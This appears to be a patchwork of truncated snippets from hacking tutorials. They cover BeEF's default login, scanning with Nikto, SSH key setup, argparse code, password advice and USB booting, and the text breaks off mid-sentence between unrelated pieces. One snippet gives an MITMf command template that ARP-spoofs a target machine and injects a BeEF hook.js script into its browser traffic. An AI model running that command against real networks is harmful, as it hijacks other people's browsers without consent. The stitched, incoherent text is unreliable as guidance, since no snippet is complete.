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Step 2: Fire It Up. When we click on the application we will be greeted with a new tab in our browser that looks like this. Sign in with the default credentials beef/beef. We'll now see this screen, with some important information to read, but for todays purposes we will focus on the first paragraph "Before being able to fully explore the ...
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As we explore the machinations of how to hack various operating systems and configurations of applications, browsers, et al., I thought it might be useful and enlightening to look at what operating systems our targets are actually running. This audience at Null Byte, being relatively young and computer savvy, tend to be running the latest and greatest operating systems and apps, but we can't ...
Line 5-8: create arguments to receive from the command-line. (I'm sure we have all used arguments before so I won't go much into that!!) Line 11-13: is a different kinda parser arguments. It lets you choose one out of the group. (You know like if you running a script you can either choose verbose or quiet but not both). Something like that.
Start the ssh-agent with the following command. Start-Service ssh-agent. Once the ssh-agent is running, we can move to the OpenSSH folder and begin generating a key. Use cd to change folders as seen in the first command below, and then create the key with the second. cd C:\Windows\System32\OpenSSH.
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Step 3: Inject the Hook.js Script. Open up a new terminal. We'll be using MITMf to inject the hooking script. Use mitmf --spoof --arp -i <interface> --gateway <router IP> --target <target IP> --inject --js-url <hook.js URL> as the format. --spoof loads the spoof plugin. --arp redirects ARP packets. -i specifies the interface to inject packets ...
Step 3: Use the Basic Syntax. As you can see from the previous step, Nikto has many options, but for our purposes, we'll stick to the basic syntax as follows. We'll substitute the <IP or hostname> with the actual IP address or hostname sans angle brackets. nikto -h <IP or hostname>.
Step 1: Never Use Dictionary Words. Even a hacker with a minimal skill set can easily crack passwords that are found in the dictionary. You might think that your word or words are rather unique and obscure, but it doesn't take me very long to test every word and word combination in the dictionary. NEVER use a dictionary word!
Step 1 Check Your Boot Capabilities. First, let's check out if our computer can actually boot from a thumb drive. Plug your thumb drive into a USB port. Restart your computer. Hit F12 during the POST before your OS starts to get into your boot menu. Look for a USB or thumb drive option.